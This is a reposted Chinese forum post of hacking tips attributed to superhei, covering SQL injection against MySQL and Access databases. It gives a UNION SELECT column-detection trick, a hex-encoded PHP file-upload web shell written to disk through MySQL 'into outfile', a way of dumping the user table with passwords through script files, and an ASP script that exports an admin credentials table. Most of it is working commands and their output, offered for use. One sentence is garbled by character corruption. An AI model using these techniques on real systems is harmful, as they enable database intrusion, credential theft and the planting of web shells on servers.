发新话题
打印

[转载]Superhei's Blog tips2

[转载]Superhei's Blog tips2

文章作者:superhei

1.不要错误判断(特殊字符)的sql注射
经典方法:
id=1 and 1=2 union select 1,1,1,1,1,1,1 再根据特殊字符判断

我们知道当上面的字段前后一样时,查询出来的字段数据都被1替换了,这里用可以把1改为一个特殊点的数字(不可以为字符),比如这样:
id= and 1=2 union select 1.123230273,1.123230273,1.123230273,1.123230273 ......
当我们字段相同时,数据都会被1.123230273替换出来,我们只要用程序查找返回的数据是否包含了1.123230273这个就可以判断了
不过有的程序 当你查询错误时 自动提示出你的错误的sql语句 当然这个里面就有你提交的1.123230273,这个焙蛘飧龇椒ň褪О芰恕?
ps:CASI3.0就采用的这个办法。

2.mysql导出shell新方法
经典方法:
CREATE TABLE a (cmd text NOT NULL) <-创建一个表
INSERT INTO a (cmd) VALUES ()    <-插入数据   
select cmd from a into outfile path 〈-导出
DROP TABLE IF EXISTS a          〈-删表

新方法:
mysql> select 0x3C3F636F707928245F46494C45535B4D7946696C655D5B746D705F6E616D655D
2C245F46494C45535B4D7946696C655D5B6E616D655D293B3F3E2F2F from in.user into outfi
le &#39;c:/heige.php&#39;;
Query OK, 2 rows affected (0.00 sec)

C:\>type heige.php
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//

注意上面语句的  from in.user <-这个必须存在 :)

这个方法也应用在casi3自带mysqlc.exe里面。

3.Eexcute a SQL Script file in Mysql
先把我们要执行的语句保存为一文件:
c:.txt里内容:
select * from user into outfile &#39;c:/heige.php&#39;;
在mysql执行:
mysql> \.
ERROR:
Usage: \. <filename> | source <filename>
mysql> \. c:.txt
Query OK, 2 rows affected (0.00 sec)

C:\>type heige.php
1     angel  mypass
2     4ngel  mypass2

也可以使用 mysql> source c:.txt 我们再看看可以用select去执行不 :
mysql> select \. c:.txt
ERROR 1086: File &#39;c:/heige.php&#39; already exists
mysql> select source c:.txt
ERROR:
Unknown command &#39;&#39;.
   -> ;
ERROR 1064: You have an error in your SQL syntax.  Check the manual that corresp
onds to your MySQL server version for the right syntax to use near &#39;:.txt&#39; at
line 1

看来select 只识别\.
大家注意到select \. c:.txt 着里面路径不要求&#39;&#39; ,不过又多了个\ 这个在magic_quotes_gpc = On 下照样过不去
有兴趣的可以接着玩玩 :)

4.access导出文件
详细见kevin的blog
http://hididi.net/public/Kevin/blogview.asp?logID=73
<%
&#39;code by superhei
&#39;test access

Set Conn = Server.CreateObject("ADODB.Connection")
dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT * into [mytest112.txt] IN &#39;c:\&#39; &#39;text;&#39;  FROM admin;"
rs.open sql,conn
if rs.eof and rs.bof then
&#39; Access Denied
else
&#39; Access Allowed
end if
rs.close
set rs=nothing
&#39;关闭连接
conn.close
set conn=nothing
response.write "sql为:" &sql

%>

执行上面的asp
C:\>dir mytest*.txt
驱动器 C 中的卷是 AAAAAAA
卷的序列号是 3CEE-A8A9

C:\ 的目录

2005-02-09  17:27             46 mytest112.txt
          1 个文件         46 字节
          0 个目录   885,846,016 可用字节

C:\>type mytest112.txt
"id","f_name","f_password"
1,"admin","pass"
益友网吧联盟  http://www.96-7.com

TOP

发新话题